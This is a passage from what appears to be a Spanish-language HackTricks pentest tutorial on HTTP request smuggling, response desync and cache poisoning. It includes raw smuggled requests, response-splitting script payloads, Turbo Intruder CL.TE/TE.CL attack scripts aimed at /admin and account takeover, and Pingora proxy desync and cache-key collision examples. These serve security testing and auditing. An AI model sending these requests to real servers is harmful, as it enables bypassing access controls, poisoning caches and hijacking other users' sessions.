POST /reflect HTTP/1.1
Host: example.com
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok\r\n
Content-Type: text/html\r\n
Cache-Control: max-age=1000000\r\n
Content-Length: 44\r\n
\r\n
<script>alert("response splitting")</script>
Generará estas respuestas (observa cómo la respuesta HEAD tiene un Content-Length que hace que la respuesta TRACE forme parte del cuerpo de HEAD y, una vez que termina el Content-Length de HEAD, se smuggla una respuesta HTTP válida):
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 0
HTTP/1.1 200 OK
Content-Type: text/html
Content-Length: 165
HTTP/1.1 200 OK
Content-Type: text/plain
Content-Length: 243
SOME_PADDINGXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXHTTP/1.1 200 Ok
Content-Type: text/html
Cache-Control: max-age=1000000
Content-Length: 50
<script>alert(“arbitrary response”)</script>
Weaponizing HTTP Request Smuggling with HTTP Response Desynchronisation
¿Has encontrado alguna vulnerabilidad de HTTP Request Smuggling y no sabes cómo explotarla? Prueba estos otros métodos de explotación:
HTTP Response Smuggling / Desync
Other HTTP Request Smuggling Techniques
- Browser HTTP Request Smuggling (Client Side)
Browser HTTP Request Smuggling
- Request Smuggling in HTTP/2 Downgrades
Request Smuggling in HTTP/2 Downgrades
Turbo intruder scripts
CL.TE
From https://hipotermia.pw/bb/http-desync-idor
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Transfer-Encoding: chunked
Host: xxx.com
Content-Length: 35
Foo: bar
0
GET /admin7 HTTP/1.1
X-Foo: k'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
TE.CL
From: https://hipotermia.pw/bb/http-desync-account-takeover
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=5,
requestsPerConnection=1,
resumeSSL=False,
timeout=10,
pipeline=False,
maxRetriesPerRequest=0,
engine=Engine.THREADED,
)
engine.start()
attack = '''POST / HTTP/1.1
Host: xxx.com
Content-Length: 4
Transfer-Encoding : chunked
46
POST /nothing HTTP/1.1
Host: xxx.com
Content-Length: 15
kk
0
'''
engine.queue(attack)
victim = '''GET / HTTP/1.1
Host: xxx.com
'''
for i in range(14):
engine.queue(victim)
time.sleep(0.05)
def handleResponse(req, interesting):
table.add(req)
Reverse-proxy parsing footguns (Pingora 2026)
Varios bugs de Pingora de 2026 son útiles porque muestran primitivas de desync más allá de los clásicos CL.TE / TE.CL. La lección reutilizable es: siempre que un proxy deje de parsear demasiado pronto, normalice Transfer-Encoding de forma distinta al backend, o haga fallback a read-until-close para los request bodies, puedes obtener desync FE↔BE incluso sin una ambigüedad tradicional CL/TE.
Passthrough prematuro de Upgrade
Si un reverse proxy cambia a modo raw tunnel / passthrough en cuanto ve un header Upgrade, sin esperar a que el backend confirme el cambio con 101 Switching Protocols, puedes smuggle una segunda request en el mismo TCP stream:
GET / HTTP/1.1
Host: target.com
Upgrade: anything
Content-Length: 0
GET /admin HTTP/1.1
Host: target.com
El front-end analiza solo la primera request y luego reenvía el resto como bytes sin procesar. El backend analiza los bytes añadidos como una nueva request desde la IP confiable del proxy. Esto es especialmente útil para:
- Bypassar proxy ACLs, reglas de WAF, auth checks y rate limits.
- Alcanzar endpoints de solo interno que confían en la IP del reverse proxy.
- Provocar cross-user response queue poisoning en conexiones reutilizadas del backend.
Al auditar proxies, prueba siempre si cualquier valor de Upgrade activa el passthrough, y verifica si el cambio ocurre antes o después de que el backend responda con 101.
Transfer-Encoding normalization bugs + HTTP/1.0 close-delimited fallback
Otro patrón útil es:
- El proxy ve que
Transfer-Encodingestá presente, así que eliminaContent-Length. - El proxy falla al normalizar TE correctamente.
- El proxy ahora no tiene framing reconocido y hace fallback a close-delimited request bodies para HTTP/1.0.
- El backend entiende correctamente TE y trata los bytes después de
0\r\n\r\ncomo una nueva request.
Formas comunes de provocar esto:
- Lista TE separada por comas no parseada:
GET / HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity, chunked
Content-Length: 29
0
GET /admin HTTP/1.1
X:
- Duplicate TE headers not merged:
POST /legit HTTP/1.0
Host: target.com
Connection: keep-alive
Transfer-Encoding: identity
Transfer-Encoding: chunked
0
GET /admin HTTP/1.1
Host: target.com
X:
Las comprobaciones de auditoría importantes son:
- ¿El front-end analiza el último token TE, como se requiere cuando
chunkedes el último? - ¿Usa todos los headers
Transfer-Encodingen lugar de solo el primero? - ¿Puedes forzar HTTP/1.0 para activar un modo de cuerpo read-until-close?
- ¿Alguna vez el proxy permite close-delimited request bodies? Eso, por sí solo, es una señal de alto valor de desync.
Esta clase a menudo parece CL.TE desde fuera, pero el primitive real es: TE presente –> CL eliminado –> no se reconoce ningún framing válido –> el request body se reenvía hasta close.
Related cache poisoning primitive: path-only cache keys
La misma auditoría de Pingora también expuso un patrón anti-pattern peligroso de cache en reverse-proxy: derivar la cache key solo de la URI path, mientras se ignoran Host, scheme o port. En despliegues multi-tenant o multi-vhost, distintos hosts pueden entonces colisionar en la misma cache entry:
GET /api/data HTTP/1.1
Host: evil.com
GET /api/data HTTP/1.1
Host: victim.com
Si ambas requests se asignan a la misma cache key (/api/data), un tenant puede envenenar el contenido para otro. Si el origin refleja el header Host en redirects, CORS, HTML o URLs de scripts, una reflexión de Host de bajo valor puede convertirse en cross-user stored cache poisoning.
Al revisar caches, confirma que la key incluya al menos:
Host/ identidad del virtual host- scheme (
httpvshttps) cuando el comportamiento difiere - port cuando varias aplicaciones comparten el mismo namespace de cache
Tools
- HTTP Hacker (Burp BApp Store) – visualizar concatenación/framing y comportamiento HTTP de bajo nivel
- https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda Burp Repeater Custom Action “Smuggling or pipelining?”
- https://github.com/anshumanpattnaik/http-request-smuggling
- https://github.com/PortSwigger/http-request-smuggler
- https://github.com/gwen001/pentest-tools/blob/master/smuggler.py
- https://github.com/defparam/smuggler
- https://github.com/Moopinger/smugglefuzz
- https://github.com/bahruzjabiyev/t-reqs-http-fuzzer: This tool is a grammar-based HTTP Fuzzer useful to find weird request smuggling discrepancies.
References
- https://portswigger.net/web-security/request-smuggling
- https://portswigger.net/web-security/request-smuggling/finding
- https://portswigger.net/web-security/request-smuggling/exploiting
- https://medium.com/cyberverse/http-request-smuggling-in-plain-english-7080e48df8b4
- https://github.com/haroonawanofficial/HTTP-Desync-Attack/
- https://memn0ps.github.io/2019/11/02/HTTP-Request-Smuggling-CL-TE.html
- https://standoff365.com/phdays10/schedule/tech/http-request-smuggling-via-higher-http-versions/
- https://portswigger.net/research/trace-desync-attack
- https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/
- Beware the false false‑positive: how to distinguish HTTP pipelining from request smuggling – https://portswigger.net/research/how-to-distinguish-http-pipelining-from-request-smuggling
- https://http1mustdie.com/
- Browser‑Powered Desync Attacks – https://portswigger.net/research/browser-powered-desync-attacks
- PortSwigger Academy – client‑side desync – https://portswigger.net/web-security/request-smuggling/browser/client-side-desync
- https://portswigger.net/research/http1-must-die
- https://xclow3n.github.io/post/6/
- https://github.com/cloudflare/pingora/security/advisories/GHSA-xq2h-p299-vjwv
- https://github.com/cloudflare/pingora/security/advisories/GHSA-hj7x-879w-vrp7
- https://github.com/cloudflare/pingora/security/advisories/GHSA-f93w-pcj3-rggc
Tip
Aprende y practica AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Revisa el catálogo completo de HackTricks Training para las rutas de evaluación (ARTA/GRTA/AzRTA) y Linux Hacking Expert (LHE).
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord, al grupo de telegram, sigue @hacktricks_live en X/Twitter, o revisa la página de LinkedIn y el canal de YouTube.
- Comparte hacking tricks enviando PRs a los repositorios de github HackTricks y HackTricks Cloud.


